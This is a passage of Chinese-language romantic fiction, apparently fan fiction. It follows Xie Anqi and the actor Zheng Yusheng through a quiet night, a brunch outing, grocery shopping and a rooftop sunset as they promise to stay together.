谢安琪轻轻笑了，慢慢把额头靠到郑禹胜胸口，“我不只是想被记住，我想一直在你身边。”
那句话落下时，夜风像一层轻柔的幕，把他们围在了一起，走进家门，屋里的灯光还亮着。郑禹胜先进去，把她的鞋摆正，又帮她把包挂到墙上的挂钩上，谢安琪站在玄关，看着那盏灯，眼睛微微发酸。
“等很久了吧？”她问。
郑禹胜转身，摇摇头：“不久。”
“可是，我觉得等我好久了。”
“我等你，一直都愿意。”
谢安琪走过去，抱住郑禹胜，声音闷在他肩膀上：“那以后，不要让我一个人再走那么远了。”
“不会了。”
郑禹胜抬手轻轻拍谢安琪后背，重复了一遍：“不会了。”
灯光温暖，把他们的影子拉得很长，那一刻，她忽然觉得，就算被记住的只有一瞬，她也愿意永远在场。洗完澡出来时，郑禹胜已经坐在沙发上，拿着手机看着什么，灯光落在他发尾，柔和得让人心安，谢安琪走过去，拿走他手里的手机。
“别看了，太晚了。”她说。
“我在看明天的行程。”
“行程也不会跑掉。”她拉着他的手，把他轻轻往里推，郑禹胜被她推得靠到沙发角落，脸上带着一点不知所措的表情。
“你今晚想睡这里吗？”她笑着问。
“想和你一起。”
“那就一起。”她低声说。
谢安琪坐下后，郑禹胜顺势抱住她，头轻轻抵在她肩上，那一刻，谁也没说晚安，但这动作，比任何一句晚安都要沉。谢安琪慢慢放松下来，呼吸渐渐平稳，头靠在他肩窝里。郑禹胜能感觉到她轻轻的呼吸打在锁骨处，带着一点点温热。
郑禹胜闭着眼，手指轻轻摩挲她背后的布料，仿佛在确认她是真的在他怀里。曾经，他觉得拥抱只是一个形式，是戏里的动作，是某种剧情安排的需要。可现在，他才发现，这样简单的一个拥抱，能胜过所有台词。
他微微低头，贴近她的头发，轻声开口：“谢谢你，回来了。”
谢安琪没有回答，只是呼吸更深了一些，像是听见了，却又用另一种方式回答了他。
深夜时分，窗外偶尔有出租车驶过，带着一点湿润的风声，郑禹胜没有睡着，只是静静地看着她的侧脸。谢安琪的睫毛因为呼吸微微颤动，嘴唇轻轻抿着，脸色因为屋里暖气透出一点浅红。
郑禹胜忽然有些心动，想吻她，但只是忍住，把她抱得更紧了一些，他在心里默默想：如果这一秒就是他们唯一被记住的画面，他也愿意，就算只是一瞬，也要在场，这念头让他胸口发热，却同时也觉得心里很安定，郑禹胜终于闭上眼，带着这种情绪，悄悄睡去。
……
清晨的第一缕光透过纱帘洒到沙发上，谢安琪先醒过来，抬头看见他还在安稳地睡着，她凑近郑禹胜，看着他放松下来的脸，轻声说了一句：“你在梦里等我吗？”
没有回答，只有他平稳的呼吸声，谢安琪轻轻笑了一下，没再吵醒他，她小心地把自己的手从郑禹胜怀里抽出来，却还是被他下意识抓回去。
“别走。”他闭着眼，声音低哑，却清晰，谢安琪愣了一下，慢慢重新靠近他，把额头轻轻抵到他锁骨处。
“我不走。”她轻声说。
那一刻，谢安琪感觉到，自己的心跳和郑禹胜的完全重合了。直到快中午的时候，郑禹胜才起来，他们一起坐到餐桌前，桌上是简单的吐司和煎蛋，谢安琪伸手拿面包时，忍不住笑了：“我们好像越来越像真正的夫妻了。”
“不是好像，本来就是。”郑禹胜纠正。
她看着他，忽然认真起来：“那我们以后，一直这样吧。”
“这样是怎样？”
“这样一起吃早餐，一起逛夜摊，一起去校园散步，一起讨论未来……哪怕平凡，也一直一起。”
郑禹胜看着她，眼底的光一点一点化开。
“好。”他说，“一直这样。”
那一瞬间，谢安琪觉得，自己终于停下来了，终于和他走在同一条时间线上，她把这一幕深深印在脑海里，就算未来再多未知，就算被记住的只有一瞬，她也愿意，因为那一瞬，她在场。
……
这天阳光很明亮，空气里带着些凉意，谢安琪突然提议：“我们去吃早午餐吧？”
“现在？”郑禹胜抬头看她，刚才不是才吃了一些吗？
“嗯，我记得你以前说过，有一家小众的店，番茄烤吐司很好吃。”
郑禹胜愣了两秒，嘴角慢慢弯起来：“你还记得啊。”
“当然记得。”她拍了拍包，拿起外套，“走吧。”
他们坐地铁过去，人不多，只有几对情侣和三三两两的学生，那家早午餐店开在小巷里，没有显眼的招牌，进门时，玻璃门被风推得轻轻响了一声，像是欢迎他们，谢安琪挑了窗边的位置坐下。阳光从大玻璃窗透进来，洒在桌面上，反射在她手背上，显得特别细致温柔。
她翻着菜单，指了指那个熟悉的番茄烤吐司，“这个要一份。”
“还有这个水果沙拉，你不是说最近要多吃水果吗？”
“好。”郑禹胜笑着看她，“今天我很听话。”
谢安琪看了他一眼，忍不住笑了：“那请你一直都这样听话。”
郑禹胜没再说话，只是伸手帮她整理掉脸颊旁的一缕头发，那动作自然到好像已经重复过很多次，带着微微的熟稔和笃定。他们很安静地等餐点上桌，但这种安静并不冷，而是像被一层薄薄的暖光裹住。
“以后如果每天都能吃到这样的早餐，好像也不错。”谢安琪一边吃番茄，一边认真说。
“以后可以每天做。”郑禹胜回答。
“你会吗？”
“我可以学。”
谢安琪笑了，轻轻拨了一下他手背，“你学做饭的样子，应该也很好笑。”
“那你就每天都笑好了。”他看着她，语气里带着一点宠溺的意味。
“会不会以后我笑腮帮都掉下来？”
“我帮你接着。”
谢安琪低头笑着，手指点在桌面上，指尖轻轻敲着，像是给这场对话加节奏，他们聊着未来的生活，聊到很小的事，比如一起选什么口味的果酱、要不要每天早上跑步，这些琐碎，却让她觉得比任何华丽的剧本都更真实。谢安琪忽然歪头问：“如果以后有孩子，他会不会也喜欢吃番茄烤吐司？”
郑禹胜愣了愣，眼里闪过一瞬柔光。
“可能会吧。”
“会不会觉得这种早餐太简单？”
“不简单。”他摇头，认真地说，“这是有人为他准备的早餐，比什么都贵重。”
谢安琪盯着他看了几秒，忽然伸手托住下巴：“你真会讲。”
“我说的是真的。”
“那如果有一天，他不喜欢了呢？”
“那就换别的，或是一起去找新的喜欢。”他说，“就像我们现在一样。”
她的眼底闪过一点湿意，随即低下头，用叉子戳着盘里的水果，这话题只是一闪而过，但他们都清楚，这份以后已经在心里慢慢发芽，吃完后，她走到柜台结账，他跟在后面。
“下次还要来吗？”她问。
“你想来，就来。”
“那以后每次都换不同的店试试看，好不好？”
“好。”他笑着看她，“只要是和你，就好。”
谢安琪推开门，风吹进来，把她围巾吹得有点乱，郑禹胜伸手替她整理，动作很慢，像是怕碰碎什么，整理好后，他忽然低头，轻轻在谢安琪额头上碰了一下。
“走吧。”
那一下轻得几乎没有重量，却让她心口发热，脸颊染上微微红，他们并肩走进街道，阳光在两人影子上交叠。这小小的早午餐冒险，看似简单，却让她觉得，每一步都在未来的长路上留下了坚定的印记。
从早午餐店出来后，两人一起去了附近的大超市，谢安琪推着小推车，郑禹胜走在她旁边，一路拿着购物清单时不时补充建议。
“青菜要买两把吗？”她问。
“再多一把吧，最近你爱吃菜汤。”
“你什么时候注意到这个的？”
“看你每次汤都喝光就知道了。”
谢安琪愣了一下，随即小声笑起来，拿了一把青菜放进车里，走到冷冻区时，她随手拿了一盒草莓，“上次我在屋塔房吃过这样的冷冻草莓。”她边走边说，“那时候我以为，酸甜的草莓冻过后会不好吃。”
“可你还是回来了。”
“是啊。”谢安琪顿了顿，回头看郑禹胜，“我好像每次都以为，离开的那一刻是真的离开，结果总会回来。”
“以后，就不要再走了。”
“那如果我想吃更多冷冻草莓怎么办？”
“那就一直买给你。”
谢安琪噗嗤一声笑了，手指点了点他手背，推着购物车继续往前走，排队结账的时候，谢安琪看着购物车里那些简单的蔬菜、泡菜、牛奶、草莓，还有一小盒巧克力。
“我们是不是过得太简单了？”她轻声问。
“不简单。”郑禹胜凑过来，几乎贴到她耳边，“和你一起的每一件小事，都是完整的生活。”
谢安琪脸微微发烫，低头避开郑禹胜的目光。
“你别讲这些，我会忍不住想哭。”
“那就哭吧，我在。”郑禹胜低声说。
谢安琪用手背轻轻敲了下郑禹胜的手臂，却没有再说话，收银员看着他们，露出浅浅的笑，没有多问，只是轻快地结账。那一刻，她觉得，连这日常里最不起眼的一角，也都变得温柔而完整，回到家后，她提议去阳台坐一会儿。
两人一人拿了一杯温水，坐在阳台边缘那几把塑料椅上，看着城市慢慢被夕阳染成温金色。
“好像很久没这样一起看日落了。”谢安琪抿着杯口，说话时呼出的气让玻璃起了一层雾。
“是啊。”他看着远处，“我一直都在拍戏，习惯了夜晚才回家。”
“那你会不会后悔？”
“不会。”
“为什么？”
“因为再多戏也比不上你。”
谢安琪握紧杯子，轻轻偏头看他，眼里藏着闪烁的光，她吸了吸鼻子，心底忽然很轻，很暖。
屋顶风有点凉，她把腿缩起来，把杯子放到脚边，郑禹胜解开外套，轻轻搭到她肩膀上，她没有推开，只是偏头靠到他肩上，声音小到几乎被风吹散。
“其实我很久之前就想问你，你为什么一直都这么笃定？”
“因为我在很久之前就选好了你。”郑禹胜说，低头看她，“无论你是不是那个总会回去的你，我都想等。”
“那如果哪天我不再回去了呢？”
“那就更好。”他笑了一下，“因为我终于能抓住你。”
那一句话被风裹着，像是飞到了天边，却重重落进她心里，谢安琪闭了闭眼，她从假设时间旅行开始提问，但是郑禹胜每一次都肯定着她的假设是现实，但即便是现实，他也相信着谢安琪会一直在他身边，想到这她睫毛轻轻颤着，心里不在逃避，最终轻声说：“那以后，就一直被你抓住吧。”
夜色彻底落下，屋顶的灯亮起来，照出他们靠在一起的影子，谢安琪起身，拍拍外套上的灰，抬头看他：“走吧，回屋吧。”
郑禹胜伸手握住她的手，两人慢慢走回屋里，快到门口时，她忽然停下，回头看了看漆黑的夜空。
“怎么了？”他问。
“没什么。”她轻轻摇头，“只是突然觉得，今晚的星星比以前更近了一点。”
“那是因为，你不再躲着看。”
“是吗？”
“嗯。”他拉住她，轻声说，“今晚，不是梦，是我们真正一起在这里。”
谢安琪抬头看他，眼睛湿润，却笑得特别轻。
“走吧。”她说，他们牵着手，走回那个亮着灯的房间。